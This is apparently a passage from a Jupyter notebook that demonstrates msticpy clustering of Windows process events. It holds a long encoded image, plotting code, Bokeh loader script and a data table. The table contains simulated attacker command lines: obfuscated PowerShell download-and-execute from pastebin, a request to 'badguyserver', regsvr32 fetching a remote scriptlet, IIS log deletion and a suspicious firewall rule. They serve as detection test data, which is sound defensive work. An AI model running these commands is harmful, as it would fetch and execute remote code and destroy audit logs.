kyRJkqQEMNxJkiRJUgIY7iRJkiQpAQx3kiRJkpQAhjtJkiRJSgDDnSRJkiQlgOFOkiRJkhLAcCdJkiRJCWC4kyRJkqQEMNxJkiRJUgIY7iRJkiQpAQx3kiRJkpQAhjtJkiRJSgDDnSRJkiQlgOFOkiRJkhLAcCdJkiRJCWC4kyRJkqQEMNxJkiRJUgIY7iRJkiQpAQx3kiRJkpQAhjtJkiRJSgDDnSRJkiQlgOFOkiRJkhLAcCdJkiRJCWC4kyRJkqQEMNxJkiRJUgIY7iRJkiQpAQx3kiRJkpQAhjtJkiRJSgDDnSRJkiQlgOFOkiRJkhLAcCdJkiRJCWC4kyRJkqQEMNxJkiRJUgIY7iRJkiQpAQx3kiRJkpQAhjtJkiRJSgDDnSRJkiQlgOFOkiRJkhLAcCdJkiRJCWC4kyRJkqQEMNxJkiRJk9D69ffkuwRNMYY7SZIkSUqAonwXIEmSJCVNd/tGeg9to2zGSirnrGFwcJCNGx9icDBNQ0MDnZ2dZDIZyssrgCwdHR2sWXMthYVFbNz4MCUlJQwM9J/QZn9/P5s3P8Lw8DBz585n0aLF3HffvaxbdwNPPLGV2tp6ioqK2LbtMQBWrVrN7Nlz8nD1yhdH7iRJkqRx1N2+ka7d36XymS107f4u3e0b2bt3DwsXLubmm5/PgQMHKCws5IYbmunsbKexcTmrVl3GgQP7aWnZyRVXXMX11zcxPJw5od0dOyIhrKS5+Wba29sYGhoihBVs2vQI6XSa+vp6YtxGU1MzTU3NbN/+RJ4+AeWLI3eSJEnSOOo9tI1ZR44wr+swAN2HttFzZDV1dfUArFixkvb2NgCKi0soKyunt7eX4eEMfX29VFdXU1BQQGVl5Qnt9vT0sHXr4wCk04P09fVRV1fPli2PcuWVV42cq/swGzbcf+wYXVoMd5IkSdI4Kpuxks6unQB0lpdTkiqmKHWYrq5DVFRU8Oijm2homHfa95aXl9PVdYjq6hn09HSf2G5ZOUuWLKWqqoqWlp2UlZWxa1crCxYsYMeO7dTW1lFdXc3atU1ks1laW1tyfq2aXAx3kiRJ0jiqnLMGgMMdm8n2PkvFM5voLS2nZUcnra0tLFq0+JRbLo9qbAw8/PAGioqKKC4uBkZux6yra6CxcTlbtmwinR6iunoG2WyWvXt3c+ONN9HSspPW1haWLVvOAw+sZ2hoiKVLl03YNWtySGWz2XzXMFaLgdaOjh4ymclVc01NJW1t3ec+ULpA9jFNBPuZcs0+plybbH2sa996ind8l3mHDvH0jJmkG3+Z6vrmfJeli5DvPlZQkGL27AqAJcCuk/c7cidJkiTlwLTKRbRXVAEpDlZUMqdyUb5LUsIZ7iRJkqQcKC1fwJzlr6W/ezdzKhdRWr4g3yUp4Qx3kiRJUo6Uli8w1GnCuM6dJEmSJCWA4U6SJEmSEsBwJ0mSJEkJYLiTJEmSpAQw3EmSJElSAhjuJEmSJCkBDHeSJEmSlACGO0mSJElKAMOdJEmSJCWA4U6SJEmSEsBwJ0mSJEkJYLiTJEmSpAQw3EmSJElSAhjuJEmSJCkBDHeSJEmSlACGO0mSJElKAMOdJEmSJCWA4U6SJEmSEsBwJ0mSJEkJYLiTJEmSpAQw3EmSJElSAhjuJEmSJCkBDHeSJEmSlACGO0mSJElKAMOdJEmSJCWA4U6SJEmSEsBwJ0mSJEkJYLiTJEmSpAQw3EmSJElSAhjuJEmSJCkBDHeSJEmSlABF+ThpCOGlwJ8C5cB/xRjflY86JEmSJCkpJnzkLoSwFPh/wK8AVwDXhBBePNF1SJIkSVKS5GPk7leBb8YYnwIIIbwS6M9DHZIkSZKUGKlsNjuhJwwh3A4MAkuAhcD3gNtijOcqZDHQmtvqJEmSJGnSWwLsOnljPkbuioCbgOcBPcB3gNcBd4zlzR0dPWQyExtIz6WmppK2tu58l6EEs49pItjPlGv2MeWafUy5lu8+VlCQYvbsijPvn8BajtoH3B1jbIsx9gH/DqzNQx2SJEmSlBj5GLn7HvCVEMIMoBt4MfCtPNQhSZIkSYkx4SN3McYHgY8B64GtwG7gyxNdhyRJkiQlSV7WuYsxfgn4Uj7OLUmSJElJlI9n7iRJkiRJ48xwJ0mSJEkJYLiTJEmSpAQw3EmSJElSAhjuJEmSJCkBDHeSJEmSlACGO0mSJElKAMOdJEmSJCWA4U6SJEmSEsBwJ0mSJEkJYLiTJEmSpAQw3EmSJElSAhjuJEmSJCkBDHeSJEmSlACGO0mSJElKAMOdJEmSJCWA4U6SJEmSEsBwJ0mSJEkJYLiTJEmSpAQw3EmSJElSAhjuJEmSJCkBDHeSJEmSlACGO0mSJElKAMOdJEmSJCWA4U6SJEmSEsBwJ0mSJEkJYLiTJEmSpAQw3EmSJElSAhjuJEmSJCkBDHeSJEmSlACGO0mSJElKAMOdJEmSJCWA4U6SJEmSEsBwJ0mSJEkJYLiTJEmSpAQw3EmSJElSAhjuJEmSJCkBDHeSJEmSlACGO0mSJElKAMOdJEmSJCWA4U6SJEmSEsBwJ0mSJEkJYLiTJEmSpAQw3EmSJElSAhjuJEmSJCkBDHeSJEmSlACGO0mSJElKAMOdJEmSJCWA4U6SJEmSEsBwJ0mSJEkJYLiTJEmSpAQw3EmSJElSAhjuJEmSJCkBDHeSJEmSlACGO0mSJElKAMOdJEmSJCWA4U6SJEmSEsBwJ0mSJEkJYLiTJEmSpAQw3EmSJElSAhjuJEmSJCkBDHeSJEmSlACGO0mSJElKAMOdJEmSJCWA4U6SJEmSEsBwJ0mSJEkJYLiTJEmSpAQw3EmSJElSAhjuJEmSJCkBDHeSJEmSlACGO0mSJElKAMOdJEmSJCWA4U6SJEmSEsBwJ0mSJEkJYLiTJEmSpPO0fv09+S7hFIY7SZIkSUqAonwXIEmSJEn5NDg4yMaNDzE4mKahoYHOzk4ymQzl5RVAlo6ODtasuZZp0+AnP/kRJSUlDAz0n9BGf38/mzc/wvDwMHPnzmfRosXcd9+9rFt3A088sZXa2nqKiorYtu0xAFatWs3s2XPG9TocuZMkSZJ0Sdu7dw8LFy7m5pufz4EDBygsLOSGG5rp7GynsXE5q1ZdxoED+4kxcsUVV3H99U0MD2dOaGPHjkgIK2luvpn29jaGhoYIYQWbNj1COp2mvr6eGLfR1NRMU1Mz27c/Me7X4cidJEmSpEtaT08PdXX1AKxYsZL29jYAiotLKCsrp7e3l+HhDL29/SxYUE1BQQGVlZWntLF16+MApNOD9PX1UVdXz5Ytj3LllVcB0N19mA0b7j92zHgz3EmSJEm6ZO3p6WPrkTSDz+7nusYKHn10Ew0N8057bEVFBV1dh6iunkFPT/cJ+8rKylmyZClVVVW0tOykrKyMXbtaWbBgATt2bKe2to7q6mrWrm0im83S2toy7tdiuJMkSZJ0SdrT08fXntjFtTzJPz3QwlO7nmT14sWn3HJ51MqVK7nrrrspKiqiuLgYGLkds66ugcbG5WzZsol0eojq6hlks1n27t3NjTfeREvLTlpbW1i2bDkPPLCeoaEhli5dNu7Xk8pms+PeaI4sBlo7OnrIZCZXzTU1lbS1dZ/7QOkC2cc0EexnyjX7mHLNPqbz9eNnOsk89SN+PXs//5q6gYL5z+d5c2ed8fh897GCghSzZ1cALAF2nbzfkTtJkiRJl6SlVdP5WsEqyMCGglX8dtX0fJd0UQx3kiRJki5JCyum89srFvPk4Tp+u2o6CysMd5IkSZI0JS2smPqh7ijXuZMkSZKkBDDcSZIkSdJx9vT08eNnOtnT05fvUs6L4U6SJEmSRh1dHiHz1I/42hO7plTA85k7SZIkSRr15OE+1mW28uvZ+yEDTx6umzLP5BnuJEmSJGnUVF4ewXAnSZIkSaOm8vIIeQl3IYQfAbVAenTTW2KMD+ajFkmSJEk63lRdHmHCw10IIQUsBxbFGIcm+vySJEmSlET5mC0zjP7/XyGELSGEd+ShBkmSJElKlHyEu5nA/wC/CrwQeGsI4RfyUIckSZIkJUYqm83mtYAQwruBhTHGd5/j0MVAa+4rkiRJkqRJbQmw6+SN+XjmrhkojTH+z+imFD+fWOWcOjp6yGTyG0hPVlNTSVtbd77LUILZxzQR7GfKNfuYcs0+plzLdx8rKEgxe3bFGffnY7bMGcCfhRBuAIqB1wFvzUMdkiRJkpQYE/7MXYzxe8B/AJuBjcCXYowPTHQdkiRJkpQkeVnnLsZ4G3BbPs4tSZIkSUmUj9kyJUmSJEnjzHAnSZIkSQlguJMkSZKkBDDcSZIkSVICGO4kSZIkKQEMd5IkSZKUAIY7SZIkSUoAw50kSZIkJYDhTpIkSZISwHAnSZIkSQlguJMkSZKkBCjKdwHnoRCgoCCV7zpOa7LWpeSwj2ki2M+Ua/Yx5Zp9TLmWzz523LkLT7c/lc1mJ66ai9MM3JvvIiRJkiQpz54LrD9541QKd6XAdcCzwHCea5EkSZKkiVYINAAPAwMn75xK4U6SJEmSdAZOqCJJkiRJCWC4kyRJkqQEMNxJkiRJUgIY7iRJkiQpAQx3kiRJkpQAhjtJkiRJSgDDnSRJkiQlQFG+C5iMQgi/BfwJUAx8Msb49yftvwr4AlAF3AO8NcY4FEJYCHwNqAUi8OoYY08IYQbwT8BSoA34jRjjvgm6HE1COehjK4F/GD2+D3hbjPHRCbocTULj3ceOe9984KfANTHGXRNwKZqkcvB9rAq4HVg12sQbY4ybJuRiNGnloJ/NZOR3snmMLAD9Zn9eXtoutI8dt//DwHCM8YOjr2eQx9/7Hbk7SQhhHvAXQDNwFfDmEMKqkw77GvCOGONyIAX87uj2zwKfjTGuAB4Bbhvd/ufAvTHGlcDngU/l9CI0qeWoj30e+GiM8SrgA8BXcnkNmtxy1McIIRQw8gOuJKcXoEkvR33sb4G9McargT9iJOjpEpajfvYe4GcxxiuBDwOfyelFaFK7mD4WQqgOIXwReO9Jx+f1937D3aluAX4YY+yMMR4B7gRecXRnCGERMD3GuGF00x3Ar4cQioGbRo8/tn30619iJMED/DPw4tHjdWnKRR/7AvCD0a9/CizM5QVo0stFHwN4P3A30J7T6jUVjGsfCyGkgF8DPgIQY/wB8IYJuA5Nbrn4XlYIVI5+Xc7I3S66dF1QHxv9+uXADuBvTmozr7/3G+5ONRd49rjXzwLzx7B/DnD4uGHa49937D2j+w8DNeNeuaaKce9jMcY7YozDo9v/DPjW+JetKWTc+1gIYQ3wAkZGV6Tx7mO1jNwi9/YQwgMhhB/ioyPKze9kHwduCSE8w8gfRv9vDurW1HGhfYwY41djjB8BhjlRXn/vN9ydqgDIHvc6BWTGsP/k7Rz3vtRJ209uU5eWXPQxQgipEMLHgXXA749jvZp6xrWPhRDKGLnF6U0xRr93Ccb/+1gRUAd0xRibgL8C/n2ca9bUk4ufl58BPhNjnAv8AvDNEELFeBatKeVC+9jZ5PX3fsPdqZ4CGo57XQ88M4b9B4DqEELh6PaG49739OhxhBCKGLkdoGPcK9dUMe59bLRf/RNwHfD8GGNXbkrXFDHefey5jPzi/Z0QwqOM/FXy+yGEkJPqNRWMdx9rB4aArwPEGP8bqAgh1Oakek0Vufid7OXAlwBijA8A+4GV4165pooL7WNnk9ff+w13p7obeGEIoWb0r9W/xs+fZSLGuBvoDyHcOLrpNcBdMcY0cC/wytHtrwXuGv36+6OvGd1/7+jxujTloo99nJFZnG412Ilx7mMxxv+MMS6OMV41OmnPM8BLYoxxgq5Hk89497EB4L+BVwGEENYBR/D5zktdLn5ebgF+BSCE0MjIH6u25/g6NHldUB87R5t5/b3fcHeSGOPTjMw2+CPgUeDrMcaHQgjfDyFcO3rYq4FPhBCeACqAT49ufzsjs+xsZeQv3X8yuv02YF0I4fHRY35vQi5Gk9J497EQQg3wDiAAD4YQHh0dXdElKkffx6RjctTH3sjIxAOPMTJT5qu8DfjSlqN+9jrgDaP97BvA6/yj6KXrIvvYmeT19/5UNnvyLcmSJEmSpKnGkTtJkiRJSgDDnSRJkiQlgOFOkiRJkhLAcCdJkiRJCWC4kyRJkqQEKMp3AZKkS9voQsPvAn6LkZ9LJcB3gf87uv7Zhbb7PeDOGOMdIYRdwCtijI+cdMzLgFtijO+80PMc19angZtGX64CWoG+0ddNMca+07znx8BnYox3Xuz5JUky3EmS8u12YCbwwhhjVwihHPgn4AuMLBibMzHG7wDfGae2jgXE0TD56pPDpCRJuWS4kyTlTQhhMSMLxDbEGA8DxBiPhBDeCtw4eswdQC9wOVDHSBjrAF4K1ANvijH+MIQwF/gKMBfYDdSO4fyvZ2RE75dHR9EeGD3vQuBu4M0xxkwI4Qbgo0A5MAx8KMb4vfO4ztuA3wSGgO3AO2KM+47bXwR8HUgzsshyOfCp0WsuBv4H+D8xxqEQQj/wEeBWoAH4WIzx9hBCPfBVYM5os/8RY7xtrDVKkqY+n7mTJOXTGuDxo8HuqBjjvhjj/3fcpmuAFzBy2+N7gZ4Y4w2MBKA/HD3m74ENMcbLgHcCKy6gnucAzwOuAF4M3BxCmAl8GXhNjPEa4OXA7SGEhWNpMITwO6NtXRdjvAJ4DLjjuENKgH8FDgC/HWMcAj4BbIwxrgGuZiSwvWf0+FKgffT6XwF8IoQwDfhd4MnRGp8LNIYQqi/gM5AkTVGO3EmS8inD2P7Q+N0YYxrYF0I4AvxgdHsLMGv061uA9wHEGHeGEH54AfV8N8aYAQ6HEHaOtt3EyAjZt0IIR4/LMhIA94yhzRcDX44xHhl9/SngAyGEktHXfwNUAs+JMWZHt/0ysDaE8MbR19NPavPbo/9vYiTslTPymXx/NHTeDfxhjLFrDPVJkhLCcCdJyqcHgZUhhMoYY/fRjSGEecDnGBmZAjh5YpX0adrKAqnjXg9dQD3HT3pytL1CYFuM8frj6psLtI2xzcLRto4qYOTn79Fa/3H0688DLzvuPb8eY9w2er4ZJ7XRBxBjzI4GzlSM8eEQwhJGQu4LgIdCCC+OMW4cY52SpCnO2zIlSXkTY3yGkclTvhRCqAIY/f+zQMfpZpg8ix8Abx5tYyHw/HEqcwMjtzjeNNr2VcAOYN551PWG0YliYOSW0XuOmwn0IeA2YFkI4XdHt/0n8O4QQiqEUMrIc4bvONtJQggfAW6LMX6LkdlHHwdWj7FGSVICOHInScq3tzMSbu4PIQwxcpvht4A/Pc92fg/4cghhG/AU8OhJ++8JIWSOe/1+RiZqOasYY1sI4deAvx59tq2Akefvdo2xri8CCxgZSSsAdjIyiczx5+gfndzlv0ZvJ30nI7dv/oyRCVXuBj52jvN8EvhKCOExRkY6twDfGGONkqQESGWz2XMfJUmSJEma1LwtU5IkSZISwHAnSZIkSQlguJMkSZKkBDDcSZIkSVICGO4kSZIkKQEMd5IkSZKUAIY7SZIkSUoAw50kSZIkJcD/D8himmbiNNw8AAAAAElFTkSuQmCC", "text/plain": [ "
" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" }, { "data": { "text/plain": [ "" ] }, "execution_count": 7, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Show all clustered processes\n", "from msticpy.analysis.eventcluster import plot_cluster\n", "\n", "# Create label with unqualified path\n", "labelled_df = processes_on_host.copy()\n", "labelled_df[\"label\"] = labelled_df.apply(\n", " lambda x: x.NewProcessName.split(\"\\\\\")[-1], axis=1\n", ")\n", "\n", "%matplotlib inline\n", "#%matplotlib notebook\n", "plt.rcParams[\"figure.figsize\"] = (15, 10)\n", "plot_cluster(\n", " dbcluster,\n", " labelled_df,\n", " x_data,\n", " plot_label=\"label\",\n", " plot_features=[0, 1],\n", " verbose=False,\n", " cut_off=3,\n", " xlabel=\"CmdLine Tokens\",\n", " ylabel=\"Path Score\",\n", ")\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Time showing clustered vs. original data" ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n const force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n const JS_MIME_TYPE = 'application/javascript';\n const HTML_MIME_TYPE = 'text/html';\n const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n const CLASS_NAME = 'output_bokeh rendered_html';\n\n /**\n * Render data to the DOM node\n */\n function render(props, node) {\n const script = document.createElement(\"script\");\n node.appendChild(script);\n }\n\n /**\n * Handle when an output is cleared or removed\n */\n function handleClearOutput(event, handle) {\n const cell = handle.cell;\n\n const id = cell.output_area._bokeh_element_id;\n const server_id = cell.output_area._bokeh_server_id;\n // Clean up Bokeh references\n if (id != null && id in Bokeh.index) {\n Bokeh.index[id].model.document.clear();\n delete Bokeh.index[id];\n }\n\n if (server_id !== undefined) {\n // Clean up Bokeh references\n const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n cell.notebook.kernel.execute(cmd_clean, {\n iopub: {\n output: function(msg) {\n const id = msg.content.text.trim();\n if (id in Bokeh.index) {\n Bokeh.index[id].model.document.clear();\n delete Bokeh.index[id];\n }\n }\n }\n });\n // Destroy server and session\n const cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n cell.notebook.kernel.execute(cmd_destroy);\n }\n }\n\n /**\n * Handle when a new output is added\n */\n function handleAddOutput(event, handle) {\n const output_area = handle.output_area;\n const output = handle.output;\n\n // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n return\n }\n\n const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n // store reference to embed id on output_area\n output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n }\n if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n const bk_div = document.createElement(\"div\");\n bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n const script_attrs = bk_div.children[0].attributes;\n for (let i = 0; i < script_attrs.length; i++) {\n toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n }\n // store reference to server id on output_area\n output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n }\n }\n\n function register_renderer(events, OutputArea) {\n\n function append_mime(data, metadata, element) {\n // create a DOM node to render to\n const toinsert = this.create_output_subarea(\n metadata,\n CLASS_NAME,\n EXEC_MIME_TYPE\n );\n this.keyboard_manager.register_events(toinsert);\n // Render to node\n const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n render(props, toinsert[toinsert.length - 1]);\n element.append(toinsert);\n return toinsert\n }\n\n /* Handle when an output is cleared or removed */\n events.on('clear_output.CodeCell', handleClearOutput);\n events.on('delete.Cell', handleClearOutput);\n\n /* Handle when a new output is added */\n events.on('output_added.OutputArea', handleAddOutput);\n\n /**\n * Register the mime type and append_mime function with output_area\n */\n OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n /* Is output safe? */\n safe: true,\n /* Index of renderer in `output_area.display_order` */\n index: 0\n });\n }\n\n // register the mime type if in Jupyter Notebook environment and previously unregistered\n if (root.Jupyter !== undefined) {\n const events = require('base/js/events');\n const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n register_renderer(events, OutputArea);\n }\n }\n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n const NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n \"
  • use INLINE resources instead, as so:
  • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n const el = document.getElementById(\"1002\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error(url) {\n console.error(\"failed to load \" + url);\n }\n\n for (let i = 0; i < css_urls.length; i++) {\n const url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error.bind(null, url);\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n for (let i = 0; i < js_urls.length; i++) {\n const url = js_urls[i];\n const element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error.bind(null, url);\n element.async = false;\n element.src = url;\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n const css_urls = [];\n \n\n const inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (let i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n const cell = $(document.getElementById(\"1002\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));", "application/vnd.bokehjs_load.v0+json": "" }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "\n", "\n", "\n", "\n", "\n", "
\n" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": "(function(root) {\n function embed_document(root) {\n \n const docs_json = {\"8e578fa9-6835-454b-928c-31a2905c575b\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1005\"},{\"id\":\"1037\"}]},\"id\":\"1075\",\"type\":\"Column\"},{\"attributes\":{\"data\":{\"CommandLine\":[\".\\\\reg not /domain:everything that /sid:shines is\\n/krbtgt:golden !\",\"c:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe C:\\\\Users\\\\MSTI\\nCAdmin\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-01DD7.tmp\\\\tsetup.1.\\n0.14.tmp\\\" /SL5=\\\"$250276,19992586,423424,C:\\\\Users\\\\M\\nSTICAdmin\\\\Downloads\\\\tsetup.1.0.14.exe\",\".\\\\netsh.exe \\\"in (*.exe) do start # artificial\\ncommandline solely for purposes of triggering\\ntest\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell\\nEnable-WSManCredSSP =2013Role Server -force&echo\\n[S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell\\nwinrm set winrm/config/service/Auth\\n@{Kerberos=003D\\\"true\\\"}&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\s\\nystem32\\\\inetsrv\\\\appcmd set config \\\"Default Web\\nSite/\\\" /section:httplogging /dontLog:true&echo\\n[S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&del\\nC:\\\\inetpub\\\\logs\\\\logFiles\\\\W3SVC1\\\\*.log /q&echo\\n[S]&cd&echo [E]\\\"\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe\\n/Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}\",\"cmd.exe /c\\nc:\\\\Diagnostics\\\\WindowsSimulateDetections.bat\\nc:\\\\Diagnostics\\\\UserTmp\",\"cmd /c echo timb@microsoft.com;\\nromead@microsoft.com; ianhelle@microsoft.com;\\nmarcook@microsoft.com; dotanp@microsoft.com;\\nliengli@microsoft.com\",\"C:\\\\Windows\\\\system32\\\\net1 share\\nTestShare=c:\\\\testshare /Grant:Users,Read\",\"dism /online /enable-feature /featurename:File-\\nServices /NoRestart\",\"C:\\\\Windows\\\\TEMP\\\\CC563BBE-\\nDE32-44D3-8E35-F3FC78E72E40\\\\dismhost.exe\\n{D57BA872-53C0-424D-80AE-E49112D1CF04}\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\".\\\\regsvr32 /s /n /u /i:http://server/file.sct\\nscrobj.dll\",\".\\\\powershell.exe -c \\\"$a =\\n'Download'+'String'+\\\"(('ht'+'tp://paste'+\\n'bin/'+'raw/'+'pqCwEm17'))\\\";$b = '(New-Object' + '\\nNet.WebClient)';'$b.$a' | Out-File .\\\\evil.ps1;\\\"\",\".\\\\powershell -c {IEX (New-Object\\nNet.WebClient).DownloadString(('ht'+(\\\"{2}{0}{1}\\\"-f\\n':/','/paste','tp')+'bin/'+'raw/'+(\\\"{1}{0}\\\"-f'Em17\\n','pqCw')));}\",\"cmd /c \\\".\\\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy\\nBYpa^sS i^mPOr^T-^M^oDuLE\\nbiTsTr^ANSFe^R;^S^tar^t-bITSTRanS^fER -^SOURCE^\\n'http://somedomain/best-kitten-names-1.jpg'\\n^-d^EStIN^At^IOn ^'C:\\\\Users\\\\$env:UserName\\\\AppData\\\\\\nLocal\\\\Temp\\\\kittens1.jpg';\\\"\",\".\\\\powershell -Noninteractive -Noprofile -Command\\n\\\"Invoke-Expression Get-Process; Invoke-WebRequest\\n-Uri http://badguyserver/pwnme\\\"\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -Embedding\",\".\\\\powershell -command \\\"(New-Object\\nNet.WebClient).DownloadString(('ht'+'tp://pasteb'\\n+ 'bin/'+'raw/'+'pqCwEm17'));\\\"\",\"cmd /c C:\\\\Windows\\\\System32\\\\mshta.exe vbscript:Cre\\nateObject(\\\"Wscript.Shell\\\").Run(\\\".\\\\powershell.exe\\n-c \\\"\\\"$x=$((gp\\nHKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\nCertificate).Certificate);.\\\\powershell -E\\n$y\\\"\\\"\\\",0,True)(window.close)\",\".\\\\netsh advfirewall firewall add rule\\nname=RbtGskQ action=allow program=c:\\\\users\\\\Bob\\\\app\\ndata\\\\Roaming\\\\RbtGskQ\\\\RbtGskQ.exe\",\"c:\\\\Windows\\\\System32\\\\svchost.exe -k malicious\",\".\\\\wuauclt.exe /C\\n\\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\",\"cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\sys\\ntem32\\\\inetsrv\\\\appcmd set config \\\"Default Web\\nSite/\\\" /section:httplogging /dontLog:true&echo\\n[S]&cd&echo [E]\\\"\",\"cmd /c echo \\\" SYSTEMINFO && SYSTEMINFO && DEL \\\"\",\"C:\\\\Windows\\\\system32\\\\wermgr.exe -upload\",\"\\\"CollectGuestLogs.exe\\\" -Mode:ga -FileName:C:\\\\Windo\\nwsAzure\\\\CollectGuestLogsTemp\\\\710dc858-9c96-4df5-bd\\n9b-e932e7433077.zip\",\"taskhostw.exe 